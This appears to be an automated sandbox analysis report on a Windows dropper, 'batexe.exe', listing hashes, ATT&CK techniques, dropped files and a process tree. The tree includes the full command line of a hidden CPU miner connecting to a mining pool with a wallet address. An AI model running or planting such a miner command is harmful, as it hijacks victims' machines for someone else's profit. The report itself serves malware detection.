73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
296s
max time network
310s
platform
windows10-2004_x64
resource
win10v2004-20231215-ja
resource tags

arch:x64arch:x86image:win10v2004-20231215-jalocale:ja-jpos:windows10-2004-x64systemwindows
submitted
18/02/2024, 15:39

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2398549320-3657759451-817663969-1000\Control Panel\International\Geo\Nation	batexe.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2398549320-3657759451-817663969-1000\Control Panel\International\Geo\Nation	b2e.exe

Executes dropped EXE 2 IoCs

pid	Process
4040	b2e.exe
2352	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
2352	cpuminer-sse2.exe
2352	cpuminer-sse2.exe
2352	cpuminer-sse2.exe
2352	cpuminer-sse2.exe
2352	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/2568-7-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 2568 wrote to memory of 4040	2568	batexe.exe	83
PID 2568 wrote to memory of 4040	2568	batexe.exe	83
PID 2568 wrote to memory of 4040	2568	batexe.exe	83
PID 4040 wrote to memory of 468	4040	b2e.exe	84
PID 4040 wrote to memory of 468	4040	b2e.exe	84
PID 4040 wrote to memory of 468	4040	b2e.exe	84
PID 468 wrote to memory of 2352	468	cmd.exe	87
PID 468 wrote to memory of 2352	468	cmd.exe	87

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2568
- C:\Users\Admin\AppData\Local\Temp\BF58.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\BF58.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\BF58.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:4040
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\D263.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:468
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:2352

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\BF58.tmp\b2e.exe

Filesize
22.4MB

MD5
8e969aa5571047cb5108fa11dd5919a9

SHA1
96af3f4c4c411ec77a3b378779d3c254573f741a

SHA256
f56f9746364d3a3285124dd7cc5284fa7152d058d0eb6f26d7d926adc9bdc1d3

SHA512
1d1214f7bdc7e3978902b01af79eabb96ff1e3f55059a399dc0bf8bc6d103cd99c5b8c7e2c0c1e6432e0f178dc903494372084c59be2fc06cd320175e1886216

Download Submit
C:\Users\Admin\AppData\Local\Temp\BF58.tmp\b2e.exe

Filesize
4.1MB

MD5
d2c419a721d788c886ebc0bada6a278f

SHA1
94d19fe33b785b89d1060ce3dc9ae4a228791210

SHA256
650228630db655f08faa08da1e0a36d140c2212db9c910251b7805de8e8c46bb

SHA512
59ee192be1b742861e60745fa7c44ea0a8ece045f6c7938ff8d83cc8d59d171a12d50fec02c3f98493bfe1a2006183e13b92063011e6e805379f31510f44eb0f

Download Submit
C:\Users\Admin\AppData\Local\Temp\BF58.tmp\b2e.exe

Filesize
1.1MB

MD5
a43a8e689cd5eb2690d211c1d48e729a

SHA1
92acd696234142bf22c8b5f1c1af459f38dc3bf4

SHA256
de564130f2706db8cccf91eb5cda9c55b9cb1cf5c775c3eee2d27c4c63ae5adc

SHA512
d804a9846c745cebd70e25fc740f2d8ab555e3b66ec9a1199539d08a0bf9c7cc4d2122eb5fb65ad6192835649fc0cc55f08ea2572c131c6b1931be3d30991182

Download Submit
C:\Users\Admin\AppData\Local\Temp\D263.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.3MB

MD5
4c04147c386ba8792ac6a03069572a8a

SHA1
dda67789fc1d0f2469ca95f01a5c81034853ca6a

SHA256
c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

SHA512
a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
6.9MB

MD5
f0d05dc325187cd7cee129f63861a7ee

SHA1
c6292dd2fd801b5873a1ca97344a5161eb9303e3

SHA256
a323ade6406e00b3b63609446c5a3e8b1f19831255c70ec61ebb0812cc01bc4e

SHA512
0b3bff98be7a6a298d3e4e1c37f20e8b48242dccf5b81e5c46dac81820ec69674d6e12a24213390faf82f3d04d4a87da459f9b72fae7b6742cc223aaf70a9c35

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
10.8MB

MD5
f3f8831149629d691d1032a333af6763

SHA1
ecb3f7d24ddffab5fd24f5609b6fa8f5a11b731f

SHA256
1bfce9a9a3eaea97791ce1f60c08cc17996a74290bad1e0659ccbe6417a5f0a8

SHA512
06de05766a5f2eacfdb82a34155e26a641dd24e7b0204327f28ab21b599c1fe769690b5e07178978a11c6a5affa14334b3daaf19c7d5387bdeea011120478063

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
8.6MB

MD5
75928a97714b19904b2a87dd78810388

SHA1
b4e25a0a360cdc53226cdf3f4245a23766972fba

SHA256
16d8e9236a24439b108246a8692dbfbcb843a3020df5ea89d45ca1fb6308cbfa

SHA512
84d0f3145169499028a2725fe0b7f190edeb2fde327a04215f07a8c155d704313c423f26f5d63da5f2fbd480f1cecfc03cf3616635ced46364528b1f0a026939

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/2352-44-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/2352-54-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2352-43-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2352-99-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2352-46-0x000000006D880000-0x000000006D918000-memory.dmp

Filesize
608KB

Download
memory/2352-45-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/2352-47-0x0000000001130000-0x00000000029E5000-memory.dmp

Filesize
24.7MB

Download
memory/2352-48-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2352-94-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2352-89-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2352-59-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2352-64-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2352-79-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2352-84-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2568-7-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/4040-53-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/4040-9-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download